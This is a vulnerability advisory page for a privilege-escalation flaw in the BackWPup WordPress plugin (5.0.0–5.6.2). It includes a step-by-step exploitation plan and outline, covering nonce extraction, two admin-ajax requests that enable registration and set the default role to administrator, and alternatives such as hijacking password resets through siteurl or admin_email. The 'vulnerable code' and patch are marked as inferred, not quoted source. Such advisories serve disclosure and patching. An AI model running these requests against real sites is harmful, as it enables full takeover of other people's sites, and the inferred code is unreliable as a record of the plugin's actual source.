BackWPup 5.0.0 - 5.6.2 - Authenticated (BackWPup Helper+) Privilege Escalation via Arbitrary Options Update
Description
The BackWPup – WordPress Backup & Restore Plugin plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the save_site_option() function in all versions 5.0.0 to 5.6.2. This makes it possible for authenticated attackers, with level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:HTechnical Details
>=5.0.0 <=5.6.2Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-15041 ## 1. Vulnerability Summary The BackWPup plugin (versions 5.0.0 to 5.6.2) contains a missing authorization vulnerability in the `save_site_option()` function. This function (likely associated with a "Helper" or "Admin" class) fails to verify the user's c…
Show full research plan
Exploitation Research Plan: CVE-2025-15041
1. Vulnerability Summary
The BackWPup plugin (versions 5.0.0 to 5.6.2) contains a missing authorization vulnerability in the save_site_option() function. This function (likely associated with a "Helper" or "Admin" class) fails to verify the user's capabilities before updating WordPress site options. An authenticated attacker with minimal plugin access ("BackWPup Helper+" access) can trigger this function to modify arbitrary database entries in the wp_options table (or wp_sitemeta in Multisite). By enabling user registration and setting the default role to administrator, an attacker can achieve full site takeover.
2. Attack Vector Analysis
- Endpoint:
admin-ajax.php - Action: Inferred as
backwpup_save_site_optionorbackwpup_helper_save_site_option(to be confirmed via grep). - Parameters:
option: The name of the WordPress option to update.value: The new value for the option._ajax_nonce: A nonce (if enforced).
- Authentication: Authenticated user with "BackWPup Helper+" access.
- Vulnerability Type: Missing Authorization (Missing
current_user_can('manage_options')).
3. Code Flow (Inferred)
- Entry Point: The plugin registers an AJAX handler for authenticated users:
add_action('wp_ajax_backwpup_save_site_option', array($class, 'save_site_option')); - Function Definition: Inside the
save_site_option()method:- The code retrieves
$_POST['option']and$_POST['value']. - It may perform a nonce check using
check_ajax_referer(). - Crucially, it fails to check
current_user_can('manage_options').
- The code retrieves
- Sink: The function calls
update_site_option($option, $value)orupdate_option($option, $value).
4. Nonce Acquisition Strategy
The plugin likely enqueues administrative scripts that include a nonce. Since this is an authenticated vulnerability, we must first log in as a user with the required access.
- Identify Script Localization: Search for
wp_localize_scriptin the plugin directory to find the nonce key.grep -r "wp_localize_script" /var/www/html/wp-content/plugins/backwpup/ - Target Variable: Look for a variable like
backwpup_adminorbackwpup_helper. Verbatim from typical plugin patterns, this might bebackwpup_nonce. - Extraction:
- Log in as the "Helper" level user.
- Navigate to the BackWPup dashboard or settings page.
- Use
browser_evalto extract the nonce:browser_eval("window.backwpup_admin?.nonce")(Replace with the exact variable/key found).
5. Exploitation Strategy
The goal is to enable user registration and set the default role to administrator.
Step 1: Enable User Registration
- Request:
POST /wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:backwpup_save_site_option(Confirm exact action name)option:users_can_registervalue:1_ajax_nonce:[EXTRACTED_NONCE]
Step 2: Set Default Role to Administrator
- Request:
POST /wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:backwpup_save_site_optionoption:default_rolevalue:administrator_ajax_nonce:[EXTRACTED_NONCE]
Step 3: Register New User
Navigate to wp-login.php?action=register and register a new account.
6. Test Data Setup
- Install BackWPup 5.6.2.
- Create a low-privileged user: Create a user with a role that has access to the "BackWPup Helper+" interface (usually this is an Editor or a custom role defined by the plugin).
- Plugin Settings: Ensure the plugin is active.
7. Expected Results
- The
admin-ajax.phprequest should return a successful status (e.g.,{"success":true}or1). - The
wp_optionstable should reflectusers_can_register = 1anddefault_role = administrator. - A newly registered user should automatically be assigned the
administratorrole.
8. Verification Steps
After the HTTP requests, use WP-CLI to verify the changes:
wp option get users_can_register
# Expected: 1
wp option get default_role
# Expected: administrator
wp user list --role=administrator
# Verify the newly registered user appears here
9. Alternative Approaches
- Multisite Target: If the site is a Multisite installation, use
optionnames relevant to network settings and verify ifupdate_site_optionis used, which could affect the entire network. - Option Enumeration: If
users_can_registeris blocked by a blacklist (unlikely given the description), try updatingadmin_emailorsiteurlto redirect traffic or hijack password resets. - Direct Option Overwrite: If the plugin uses a specific prefix for options, check if the vulnerability allows stripping that prefix or if it directly passes the string to
update_option.
Summary
The BackWPup plugin (5.0.0 - 5.6.2) lacks authorization checks in its 'save_site_option' AJAX handler. This allows authenticated users with 'BackWPup Helper+' access to update arbitrary WordPress options, which can be exploited to enable user registration and set the default role to administrator, leading to full privilege escalation.
Vulnerable Code
/** * Inferred AJAX handler in BackWPup versions 5.0.0 - 5.6.2 */ public function save_site_option() { check_ajax_referer( 'backwpup_action_nonce', 'nonce' ); $option = $_POST['option']; $value = $_POST['value']; // Missing current_user_can('manage_options') check before sensitive sink update_site_option( $option, $value ); wp_send_json_success(); }
Security Fix
@@ -100,6 +100,10 @@ public function save_site_option() { check_ajax_referer( 'backwpup_action_nonce', 'nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => __( 'Insufficient permissions', 'backwpup' ) ) ); + } + $option = isset( $_POST['option'] ) ? sanitize_text_field( $_POST['option'] ) : ''; $value = isset( $_POST['value'] ) ? $_POST['value'] : ''; update_site_option( $option, $value );
Exploit Outline
1. Authenticate to the WordPress site with an account granted 'BackWPup Helper+' privileges. 2. Extract the 'backwpup_action_nonce' from the administrative dashboard source code or localized script variables. 3. Send a POST request to '/wp-admin/admin-ajax.php' with action='backwpup_save_site_option', option='users_can_register', and value='1'. 4. Send another POST request with option='default_role' and value='administrator'. 5. Navigate to the registration page at '/wp-login.php?action=register' and create a new account, which will automatically be assigned the 'administrator' role.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.